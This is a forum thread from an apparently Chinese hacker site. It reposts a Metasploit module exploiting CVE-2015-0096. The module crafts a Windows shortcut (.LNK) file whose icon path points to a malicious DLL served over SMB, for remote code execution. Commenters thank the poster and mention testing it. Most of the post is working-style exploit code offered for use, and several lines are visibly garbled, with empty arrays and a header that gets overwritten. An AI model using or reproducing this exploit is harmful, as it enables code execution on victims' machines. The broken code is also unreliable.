[CVE-2015-0096]Microsoft Windows Shell SMB LNK Code Execution Exploit

90_ 发表于 2015-3-13 15:23:46

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::SMB::Server::Share

  attr_accessor :exploit_dll_name

  def initialize(info = {})
    super(update_info(info,
      'Name'      => 'Microsoft Windows Shell LNK Code Execution',
      'Description' => %q{
        This module exploits a vulnerability in the MS10-046 patch to abuse (again) the handling
        of Windows Shortcut files (.LNK) that contain an icon resource pointing to a malicious
        DLL. This creates an SMB resource to provide the payload and the trigger, and generates a
        LNK file which must be sent to the target. This module has been tested successfully on
        Windows 2003 SP2 with MS10-046 installed and Windows 2008 SP2 (32 bits) with MS14-027
        installed.
      },
      'Author'    =>
        [
          'Michael Heerklotz', # Vulnerability discovery
          'juan vazquez' # msf module
        ],
      'License'    => MSF_LICENSE,
      'References' =>
        [
          ['CVE', '2015-0096'],
          ['MSB', 'MS15-020'],
          ['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Full-details-on-CVE-2015-0096-and-the-failed-MS10-046-Stuxnet/ba-p/6718459#.VQBOymTF9so'],
          ['URL', 'https://github.com/rapid7/metasploit-framework/pull/4911'] # How to guide here
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'    =>
        {
          'Space' => 2048,
        },
      'Platform'    => 'win',
      'Targets'    =>
        [
          [ 'Automatic', { } ]
        ],
      'DisclosureDate' => 'Mar 10 2015',
      'DefaultTarget' => 0))

    register_options(
      [
        OptString.new('FILENAME', )
      ], self.class)

    register_advanced_options(
      [
        OptBool.new('DisablePayloadHandler', )
      ], self.class)

    deregister_options('FILE_CONTENTS', 'FILE_NAME')
  end

  def smb_host
    "\\\\#{srvhost}\\#{share}\\"
  end

  def setup
    super

    self.file_contents = generate_payload_dll
    random_char = rand_text_alpha(1)
    self.file_name = "#{random_char}.dll"
    prefix = "#{random_char} "
    random_length = 257 - smb_host.length - file_name.length - prefix.length
    self.exploit_dll_name = "#{prefix}#{rand_text_alpha(random_length)}#{file_name}"

    print_status("Payload available on #{unc}...")
    print_status("Trigger available on #{smb_host}#{exploit_dll_name}...")
  end

  def primer
    lnk = generate_link("#{smb_host}#{exploit_dll_name}")
    file_create(lnk)
    print_status('The LNK file must be sent or shared with the target...')
  end

  def generate_link(unc)
    uni_unc = unc.unpack('C*').pack('v*')
    path = ''
    path << [
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00
    ].pack('C*')
    path << uni_unc

    # LinkHeader
    ret = [
      0x4c, 0x00, 0x00, 0x00, 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x46, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
    ].pack('C*')

    idlist_data = ''
    idlist_data << .pack('v')
    idlist_data << [
      0x1f, 0x00, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30,
      0x30, 0x9d
    ].pack('C*')
    idlist_data << .pack('v')
    idlist_data << [
      0x2e, 0x1e, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30,
      0x30, 0x9d
    ].pack('C*')
    idlist_data << .pack('v')
    idlist_data << path
    idlist_data << .pack('v') # TERMINAL WOO

    # LinkTargetIDList
    ret << .pack('v') # IDListSize
    ret << idlist_data

    # ExtraData blocks (none)
    ret << .pack('V')

    # Patch in the LinkFlags
    ret = ['10000001000000000000000000000000'.to_i(2)].pack('N')
    ret
  end
end
   #

heiwu98 发表于 2015-3-13 22:21:11

感谢楼主的分享！下载测试。。好像是严重漏洞http://www.freeimagehost.info/files/img/user_uploads/g8dxloddeyw7998287.gif

ICBM 发表于 2015-3-13 22:41:51

不会逆向根本看不懂啊

tintion 发表于 2015-3-14 11:59:05

本帖最后由 tintion 于 2015-3-14 12:46 编辑

测试一下,好像explorer-db里面还没有公布这个.只有CVE: 2010-2568.

若冰发表于 2015-6-27 21:55:21

支持，看起来不错呢！

yusiii 发表于 2015-6-28 14:40:39

Lucifer 发表于 2015-6-29 05:07:00

支持中国红客联盟(ihonker.org)

yusiii 发表于 2015-6-29 08:38:49

学习学习技术，加油！

xiaoqqf4 发表于 2015-6-29 18:48:28

感谢楼主的分享~

ljy07 发表于 2015-7-1 07:42:37

支持，看起来不错呢！

页: [1]

红客联盟 - 由08安全团队运营's Archiver

[CVE-2015-0096]Microsoft Windows Shell SMB LNK Code Execution Exploit